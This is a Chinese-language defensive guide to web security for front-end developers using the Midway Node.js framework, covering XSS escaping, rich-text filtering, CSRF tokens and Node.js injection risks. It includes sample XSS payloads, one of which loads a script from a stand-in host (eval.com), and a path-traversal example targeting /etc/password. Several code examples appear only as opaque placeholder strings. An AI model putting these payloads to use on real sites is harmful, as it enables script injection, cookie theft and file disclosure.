前后端分离模式下的安全解决方案 > 在前后端分离的开发模式中，从开发的角色和职能上来讲，一个最明显的变化就是：以往传统中，只负责浏览器环境中开发的前端同学，需要涉猎到服务端层面，编写服务端代码。而摆在面前的一个基础性问题就是如何保障Web安全？ 本文就在前后端分离模式的架构下，针对前端在Web开发中，所遇到的安全问题以及应对措施和注意事项，并提出解决方案。 # 跨站脚本攻击(XSS)的防御 ## 问题及解决思路 跨站脚本攻击（XSS，Cross-site scripting）是最常见和基本的攻击Web网站的方法。攻击者可以在网页上发布包含攻击性代码的数据，当浏览者看到此网页时，特定的脚本就会以浏览者用户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息以及造成其它类型的攻击，例如：CSRF攻击。 预防XSS攻击的基本方法是：确保任何被输出到HTML页面中的数据以HTML的方式进行转义（HTML escape）。例如下面的模板代码： ~~~ <textarea name="description">$description</textarea> ~~~ 这段代码中的`$description`为模板的变量（不同模板中定义的变量语法不同，这里只是示意一下），由用户提交的数据，那么攻击者可以输入一段包含”JavaScript”的代码，使得上述模板语句的结果变成如下的结果： ~~~ <textarea name="description"> </textarea><script>alert('hello')'</script> </textarea> ~~~ 上述代码，在浏览器中渲染，将会执行JavaScript代码并在屏幕上alert hello。当然这个代码是无害的，但攻击者完全可以创建一个JavaScript来修改用户资料或者窃取cookie数据。 解决方法很简单，就是将`$description`的值进行html escape，转义后的输出代码如下 ~~~ <textarea name="description"> &lt;/textarea&gt;&lt;script&gt;alert(&quot;hello!&quot;)&lt;/script&gt; </textarea> ~~~ 以上经过转义后的HTML代码是没有任何危害的。 # Midway的解决方案 ## 转义页面中所有用户输出的数据 对数据进行转义有以下几种情况和方法： ### 1\. 使用模板内部提供的机制进行转义 中途岛内部使用KISSY xtemplate作为模板语言。 在xtemplate实现中，语法上使用两个中括号（ `{{val}}`）解析模板数据， ，默认既是对数据进行HTML转义的，所以开发者可以这样写模板： ~~~ <textarea name="description">{{description}}</textarea> ~~~ 在xtemplate中，如果不希望输出的数据被转义，需要使用三个中括号（`{{{val}}}`）。 ### 2\. 在Midway中明确的调用转义函数 开发者可以在Node.js程序或者模板中，直接调用Midway提供的HTML转义方法，显示的对数据进行转义，如下： 方法1：在Node.js程序中对数据进行HTML转义 ~~~ var Security= require('midway-security'); //data from server，eg {html:'</textarea>'，other:""} data.html =Security.escapeHtml(data.html); xtpl = xtpl.render(data); ~~~ 方法2：在模板中对HTML数据进行HTML转义 ~~~ <textarea name="description">Security.escapeHtml({{{description}}})</textarea> ~~~ 注意：只有当模板内部没有对数据进行转义的时候才使用Security.escapeHtml进行转义。 否则，模板内部和程序会两次转义叠加，导致不符合预期的输出。 推荐：如果使用xtemplate，建议直接使用模板内置的`{{}}`进行转义； 如果使用其他模板，建议使用`Security.escapeHtml`进行转义。 ## 过滤页面中用户输出的富文本 你可能会想到：“其实我就是想输出富文本，比如一些留言板、论坛给用户提供一些简单的字体大小、颜色、背景等功能，那么我该如何处理这样的富文本来防止XSS呢？” ### 1\. 使用Midway中Security提供的richText函数 Midway中提供了richText方法，专门用来过滤富文本，防止XSS、钓鱼、cookie窃取等漏洞。 有一个留言板，模板代码可能如下： ~~~ <div class="message-board"> {{{message}}} </div> ~~~ 因为message是用户的输入数据，其留言板的内容，包含了富文本信息，所以这里在xtemplate中，使用了三个大括号，默认不进行HTML转义；那么用户输入的数据假如如下： ~~~ <script src="http://eval.com/eval.js"></script><span style="color:red;font-size:20px;position:fixed;">我在留言中</span> ~~~ 上述的富文本数据如果直接输出到页面中，必然会导致eval.com站点的js注入到当前页面中，造成了XSS攻击。为了防止这个漏洞，我们只要在模板或者程序中，调用Security.richText方法，处理用户输入的富文本。 调用方法与escapeHtml类似，有如下两种方式 方法1: 直接在Node.js程序中调用 ~~~ message =Security.richText(message); var html = xtpl.render(message) ~~~ 方法2： 在模板中调用 ~~~ <div class="message-board"> Security.richText({{{message}}}) </div> ~~~ 通过调用Security的richText方法后，最终的输出如下： ~~~ <div class="message-board"> <span style="color:red;font-size:20px;">我在留言中</span> </div> ~~~ 可以看出，首先：会造成XSS攻击的`script`标签被直接过滤掉；同时style标签中CSS属性`position:fixed;`样式也被过滤了。最终输出了无害的HTML富文本 ## 了解其他可能导致XSS攻击的途径 除了在页面的模板中可能存在XSS攻击之外，在Web应用中还有其他几个途径也可能会有风险。 ### 1\. 出错页面的漏洞 一个页面如果找不到，系统可能会报一个404 Not Found的错误，例如： ~~~ 404 NotFound Page /page/not/found does not exsit ~~~ 很显然：攻击者可以利用这个页面，构造一个类似这样的连接，`http://localhost/%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E`，并引诱受害者点击 ；假如出错页面未对输出变量进行转义的话，那么连接中隐藏的 `` 将会被执行。 在express中，发送一个404页面的方法如下 œbm6BXrB9RD201505222132343107925420191432301554310œ 这里就需要开发者注意错误页面(404或者其他错误状态)的处理方式。如果错误信息的返回内容带有路径信息（其实更准确的讲，是用户输入信息)，就一定要进行escapeHtml了。 后续，错误处理的安全机制，会在Midway框架层面中完成。 # Midway解决方案的补充说明 ## 其他模板引擎 Midway默认支持xtemplate模板，但将来也有可能支持其他模板：如jade、mustache、ejs等。目前在主流模板中，都提供了默认转义和不转义的输出变量写法，需要开发者特别留意其安全性。 ## 关于escape的其他支持 除了对页面中输出的普通数据和富文本数据，一些场景中也还包含其他可能需要转义的情况，Midway提供了如下几个常用的转义方法，供开发者使用： * escapeHtml 过滤指定的HTML中的字符，防XSS漏洞 * jsEncode 对输入的String进行JavaScript 转义 对中文进行unicode转义，单引号，双引号转义 * escapeJson 不破坏JSON结构的escape函数，只对json结构中name和vaule做escapeHtml处理 * escapeJsonForJsVar 可以理解就是jsEncode+escapeJson 例子如下 œX2wQvW2SsL201505222132343107925797501432301554310œ # 跨站请求伪造攻击(CSRF)的预防 ## 问题及解决思路 名词解释： 表单：泛指浏览器端用于客户端提交数据的形式；包括a标签、ajax提交数据、form表单提交数据等，而非对等于HTML中的form标签。 跨站请求伪造（CSRF，Cross-site request forgery）是另一种常见的攻击。攻击者通过各种方法伪造一个请求，模仿用户提交表单的行为，从而达到修改用户的数据或执行特定任务的目的。 为了假冒用户的身份，CSRF攻击常常和XSS攻击配合起来做，但也可以通过其它手段：例如诱使用户点击一个包含攻击的链接。 解决CSRF攻击的思路分如下两个步骤 1. 增加攻击的难度。GET请求是很容易创建的，用户点击一个链接就可以发起GET类型的请求，而POST请求相对比较难，攻击者往往需要借助JavaScript才能实现；因此，确保form表单或者服务端接口只接受POST类型的提交请求，可以增加系统的安全性。 2. 对请求进行认证，确保该请求确实是用户本人填写表单或者发起请求并提交的，而不是第三者伪造的。 一个正常用户修改网站信息的过程如下 * 用户请求修改信息(1) -> 网站显示用户修改信息的表单(2) -> 用户修改信息并提交(3) -> 网站接受用户修改的数据并保存(4) 而一个CSRF攻击则不会走这条路线，而是直接伪造第2步用户提交信息 * 直接跳到第2步(1) -> 伪造要修改的信息并提交(2) -> 网站接受攻击者修改参数数据并保存(3) 只要能够区分这两种情况，就能够预防CSRF攻击。那么如何区分呢？ 就是对第2步所提交的信息进行验证，确保数据源自第一步的表单。具体的验证过程如下： * 用户请求修改信息(1) -> 网站显示用于修改信息的空白表单，表单中包含特殊的token同时把token保存在session中(2) -> 用户修改信息并提交，同时发回token信息到服务端(3) -> 网站比对用户发回的token和session中的token，应该一致，则接受用户修改的数据，并保存 这样，如果攻击者伪造要修改的信息并提交，是没办法直接访问到session的，所以也没办法拿到实际的token值；请求发送到服务端，服务端进行token校验的时候，发现不一致，则直接拒绝此次请求。 # Midway解决方案 ## 禁用GET提交表单 如果服务端不接受GET方式提交的表单数据，那么将会给攻击者带来非常大的难度；因为在页面上构造一个a标签href属性或者img标签src属性来构造一个请求是非常容易的，但是如果要POST提交，就必须要通过脚本才可以实现。 ## 用CSRF token验证请求 因为Midway不涉及到淘宝分布式session及token校验这一层面逻辑，所以在Midway框架中，只将token在server和客户端之间进行转发，本身不做实际的校验工作。流程如下：  后续：在Midway中，Node.js和淘宝的分布式session对接后，可以考虑在Midway这一层自动进行token校验；毕竟安全校验越早进行，成本也会更低。 建议：在Midway中，可以判断是否request中有token的值，如果一个修改操作，没有token，可以直接在Midway层认为是不安全的，将请求丢弃掉。 # 其他安全问题 关于常见的Web安全问题，还有如下几种，这里只做一些简介，后续会持续继承到Midway framework中。 * HTTP Headers安全 œTMHXrLM6uP201505222132343107926789581432301554310œœPchjg1k4xP201505222132343107927096871432301554310œœhgp0rVDa8e201505222132343107927359881432301554310œ 关于cookie的安全问题，之前WebX已经有较好的解决方案；此次Midway不负责cookie的设置和校验等工作，只负责转发到WebX层面进行check # 关于Node.js XSS等注入性漏洞是所有漏洞中最容易被忽略，占互联网总攻击的70%以上；开发者编写Node.js代码时，要时刻提醒自己，永远不要相信用户的输入。 比如如下几个例子。 * `var mod = fs.readFileSync('path');` 如果path来源于用户输入，那么假设用户输入`/etc/password`，则会读取到不应该读取的内容，造成密码泄漏风险 * `var result = eval(jsonVal);` 一定要确保jsonVal是json，而不是用户的输入 * …… 其他可能包含用户输入的地方，一定要确认用户的输入是我们期望的值 # 总结 前后端分离模式下，可以让传统的前端开发人员开始编写后端代码，虽然从架构上讲，只负责模板这一层，但也会接触大量的后端代码；所以安全对于前端来说，这是一个不小的挑战。